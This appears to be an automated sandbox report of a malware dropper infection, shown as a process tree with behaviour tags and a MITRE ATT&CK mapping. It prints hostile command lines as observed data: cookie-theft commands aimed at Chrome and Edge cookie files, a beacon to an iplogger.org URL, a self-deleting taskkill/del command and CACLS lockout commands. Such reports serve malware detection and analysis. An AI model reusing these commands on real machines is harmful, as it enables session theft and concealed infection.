PID 2184 wrote to memory of 2100	2184	sonia_6.exe	jfiag3g_gg.exe
PID 2184 wrote to memory of 2100	2184	sonia_6.exe	jfiag3g_gg.exe
PID 2184 wrote to memory of 2100	2184	sonia_6.exe	jfiag3g_gg.exe
PID 204 wrote to memory of 2996	204	rUNdlL32.eXe	rundll32.exe
PID 204 wrote to memory of 2996	204	rUNdlL32.eXe	rundll32.exe
PID 204 wrote to memory of 2996	204	rUNdlL32.eXe	rundll32.exe
PID 2188 wrote to memory of 2772	2188	sonia_4.exe	LzmwAqmV.exe
PID 2188 wrote to memory of 2772	2188	sonia_4.exe	LzmwAqmV.exe
PID 2188 wrote to memory of 2772	2188	sonia_4.exe	LzmwAqmV.exe
PID 2996 wrote to memory of 492	2996	rundll32.exe	svchost.exe
PID 2996 wrote to memory of 2824	2996	rundll32.exe	svchost.exe
PID 492 wrote to memory of 3032	492	svchost.exe	svchost.exe
PID 492 wrote to memory of 3032	492	svchost.exe	svchost.exe
PID 492 wrote to memory of 3032	492	svchost.exe	svchost.exe
PID 2996 wrote to memory of 336	2996	rundll32.exe	svchost.exe
PID 2996 wrote to memory of 2404	2996	rundll32.exe	svchost.exe
PID 2996 wrote to memory of 2396	2996	rundll32.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2824

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1224

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1076

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:336

C:\Users\Admin\AppData\Local\Temp\8 (22).exe
"C:\Users\Admin\AppData\Local\Temp\8 (22).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2840

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1744

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3844

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_1.exe
sonia_1.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:508

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_1.exe" -a
6⤵
- Executes dropped EXE
PID:3032

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:980

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_2.exe
sonia_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:2920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_3.exe
sonia_3.exe
5⤵
- Executes dropped EXE
- Modifies system certificate store
PID:1192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 1772
6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: MapViewOfSection
PID:2920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2332

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_4.exe
sonia_4.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
- Executes dropped EXE
PID:2772

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
PID:4468

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:4424

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:4460

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4696

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
8⤵
- Executes dropped EXE
PID:3132

C:\Users\Admin\AppData\Local\Temp\setup 326.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4800

C:\Windows\winnetdriv.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626812401 0
8⤵
- Executes dropped EXE
PID:4384

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 720
8⤵
- Program crash
PID:4728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 940
8⤵
- Program crash
PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 952
8⤵
- Program crash
PID:4928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 1064
8⤵
- Program crash
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 1120
8⤵
- Program crash
PID:5548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 1136
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5784

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
7⤵
- Executes dropped EXE
PID:4708

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
8⤵
- Executes dropped EXE
PID:5340

C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
7⤵
- Executes dropped EXE
PID:4348

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4348 -s 1012
8⤵
- Program crash
PID:5836

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:3560

C:\Users\Admin\Documents\pymHgdRBvolB2fpNlJXyyVLV.exe
"C:\Users\Admin\Documents\pymHgdRBvolB2fpNlJXyyVLV.exe"
6⤵
- Executes dropped EXE
PID:4896

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
7⤵
PID:904

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:3016

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
9⤵
PID:5280

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
Acre.exe.com k
9⤵
- Executes dropped EXE
PID:5616

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
10⤵
- Executes dropped EXE
PID:5776

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
11⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6036

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
12⤵
PID:5540

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
12⤵
PID:4432

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5952

C:\Users\Admin\Documents\AvDoBSa82grLFIMVBohlezZ1.exe
"C:\Users\Admin\Documents\AvDoBSa82grLFIMVBohlezZ1.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4888

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
7⤵
PID:4544

C:\Windows\SysWOW64\explorer.exe
explorer https://iplogger.org/2LBCU6
8⤵
PID:4292

C:\Windows\SysWOW64\regedit.exe
regedit /s adj.reg
8⤵
- Runs .reg file with regedit
PID:6252

C:\Windows\SysWOW64\regedit.exe
regedit /s adj2.reg
8⤵
- Runs .reg file with regedit
PID:6464

C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
7⤵
- Executes dropped EXE
PID:4712

C:\Users\Admin\Documents\wx1JYVhfoeroKsJobdoryR5Q.exe
"C:\Users\Admin\Documents\wx1JYVhfoeroKsJobdoryR5Q.exe"
6⤵
- Executes dropped EXE
PID:4880

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:6140

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:6088

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5116

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:4668

C:\Users\Admin\Documents\8VsGzn0FPO83o7Lf8MggqpcO.exe
"C:\Users\Admin\Documents\8VsGzn0FPO83o7Lf8MggqpcO.exe"
6⤵
- Executes dropped EXE
PID:4872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm
7⤵
PID:4536

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
- Executes dropped EXE
PID:4460

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm
9⤵
PID:4804

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
Sensitive.exe.com p
9⤵
- Executes dropped EXE
PID:4476

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p
10⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:4540

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
11⤵
PID:4740

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5460

C:\Users\Admin\Documents\m2_lbMK7Yjk432ATbOXnES4r.exe
"C:\Users\Admin\Documents\m2_lbMK7Yjk432ATbOXnES4r.exe"
6⤵
PID:4864

C:\Users\Admin\Documents\m2_lbMK7Yjk432ATbOXnES4r.exe
C:\Users\Admin\Documents\m2_lbMK7Yjk432ATbOXnES4r.exe
7⤵
- Executes dropped EXE
PID:5084

C:\Users\Admin\Documents\6E_qLgn95MgbrZeIwNfnzuLn.exe
"C:\Users\Admin\Documents\6E_qLgn95MgbrZeIwNfnzuLn.exe"
6⤵
- Executes dropped EXE
PID:4844

C:\Users\Admin\Documents\fPDkBOthQQsdGVMV6Q4t77Ch.exe
"C:\Users\Admin\Documents\fPDkBOthQQsdGVMV6Q4t77Ch.exe"
6⤵
PID:4212

C:\Users\Admin\Documents\fPDkBOthQQsdGVMV6Q4t77Ch.exe
"C:\Users\Admin\Documents\fPDkBOthQQsdGVMV6Q4t77Ch.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1484
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5524

C:\Users\Admin\Documents\o2pi7rWtc0wsSB9uAKJpmoAF.exe
"C:\Users\Admin\Documents\o2pi7rWtc0wsSB9uAKJpmoAF.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5072

C:\Users\Admin\AppData\Roaming\1234.exe
C:\Users\Admin\AppData\Roaming\1234.exe 1234
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5620

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:4512

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:6996

C:\Users\Admin\Documents\VOF7k1PrutOB9rDMHKk0Y33F.exe
"C:\Users\Admin\Documents\VOF7k1PrutOB9rDMHKk0Y33F.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:6044

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5284

C:\Users\Admin\Documents\mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
"C:\Users\Admin\Documents\mAkkyYMaQh8SHHK3Lqn2V0Gp.exe"
6⤵
- Executes dropped EXE
PID:4424

C:\Users\Admin\Documents\mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
"C:\Users\Admin\Documents\mAkkyYMaQh8SHHK3Lqn2V0Gp.exe"
7⤵
- Modifies data under HKEY_USERS
PID:6296

C:\Users\Admin\Documents\_GI7ImbCSq2Ho3nleczQdmGo.exe
"C:\Users\Admin\Documents\_GI7ImbCSq2Ho3nleczQdmGo.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4272

C:\Users\Admin\Documents\mhnqSZHpnmitou2WkChXtYyC.exe
"C:\Users\Admin\Documents\mhnqSZHpnmitou2WkChXtYyC.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4824

C:\Users\Admin\Documents\mhnqSZHpnmitou2WkChXtYyC.exe
"C:\Users\Admin\Documents\mhnqSZHpnmitou2WkChXtYyC.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4184

C:\Users\Admin\Documents\gUz17ardkiMQC_2s_wpF_JR8.exe
"C:\Users\Admin\Documents\gUz17ardkiMQC_2s_wpF_JR8.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4312

C:\Users\Admin\Documents\wd5NytWIH5mnPO_VHEip9Q19.exe
"C:\Users\Admin\Documents\wd5NytWIH5mnPO_VHEip9Q19.exe"
6⤵
- Executes dropped EXE
PID:4240

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4212

C:\Users\Admin\Documents\wd5NytWIH5mnPO_VHEip9Q19.exe
"C:\Users\Admin\Documents\wd5NytWIH5mnPO_VHEip9Q19.exe" -a
7⤵
- Executes dropped EXE
PID:5816

C:\Users\Admin\Documents\fcX7h3elF9UdEQUTRncFGR8P.exe
"C:\Users\Admin\Documents\fcX7h3elF9UdEQUTRncFGR8P.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4252

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im fcX7h3elF9UdEQUTRncFGR8P.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\fcX7h3elF9UdEQUTRncFGR8P.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:5328

C:\Windows\SysWOW64\taskkill.exe
taskkill /im fcX7h3elF9UdEQUTRncFGR8P.exe /f
8⤵
- Kills process with taskkill
PID:5244

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:6068

C:\Users\Admin\Documents\Qi3nZf6AWEuvrfmwKbDahdhr.exe
"C:\Users\Admin\Documents\Qi3nZf6AWEuvrfmwKbDahdhr.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4140

C:\Users\Admin\Documents\Qi3nZf6AWEuvrfmwKbDahdhr.exe
C:\Users\Admin\Documents\Qi3nZf6AWEuvrfmwKbDahdhr.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4864

C:\Users\Admin\Documents\X08fjwG9nFIPhl4aq1YHr4w9.exe
"C:\Users\Admin\Documents\X08fjwG9nFIPhl4aq1YHr4w9.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5112

C:\Users\Admin\Documents\X08fjwG9nFIPhl4aq1YHr4w9.exe
C:\Users\Admin\Documents\X08fjwG9nFIPhl4aq1YHr4w9.exe
7⤵
- Executes dropped EXE
PID:4440

C:\Users\Admin\Documents\AR40eYFgVbP0BdEZjUDw9aZm.exe
"C:\Users\Admin\Documents\AR40eYFgVbP0BdEZjUDw9aZm.exe"
6⤵
- Executes dropped EXE
PID:2164

C:\Users\Admin\AppData\Roaming\2279146.exe
"C:\Users\Admin\AppData\Roaming\2279146.exe"
7⤵
- Executes dropped EXE
PID:3148

C:\Users\Admin\AppData\Roaming\7522069.exe
"C:\Users\Admin\AppData\Roaming\7522069.exe"
7⤵
- Executes dropped EXE
PID:5488

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2388

C:\Users\Admin\AppData\Local\Temp\7zS0D6A0BB4\sonia_6.exe
sonia_6.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2184

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:2100

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:4788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
PID:3480

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3032

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:204

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:4516

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:5724

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:884

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:5756

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:5764

C:\Users\Admin\AppData\Local\Temp\B101.exe
C:\Users\Admin\AppData\Local\Temp\B101.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5312

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\B101.exe" /P "Admin:N"
2⤵
PID:4292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:6168

C:\Windows\SysWOW64\cacls.exe
CACLS "C:\Users\Admin\AppData\Local\Temp\B101.exe" /P "Admin:N"
3⤵
PID:6180

C:\Windows\SysWOW64\CACLS.exe
CACLS "C:\Users\Admin\AppData\Local\Temp\B101.exe" /P "Admin:R" /E
2⤵
PID:6804

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"
2⤵
PID:6224

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:6360

C:\Windows\SysWOW64\cacls.exe
CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"
3⤵
PID:6368

C:\Windows\SysWOW64\CACLS.exe
CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:R" /E
2⤵
PID:4992

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
PID:6140

C:\Users\Admin\AppData\Local\Temp\C4D8.exe
C:\Users\Admin\AppData\Local\Temp\C4D8.exe
1⤵
- Executes dropped EXE
PID:5308

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:4636

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
2⤵
- Executes dropped EXE
PID:6932

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5224

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5980

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:6408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:6888

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6384

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4924

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6172

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6248

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery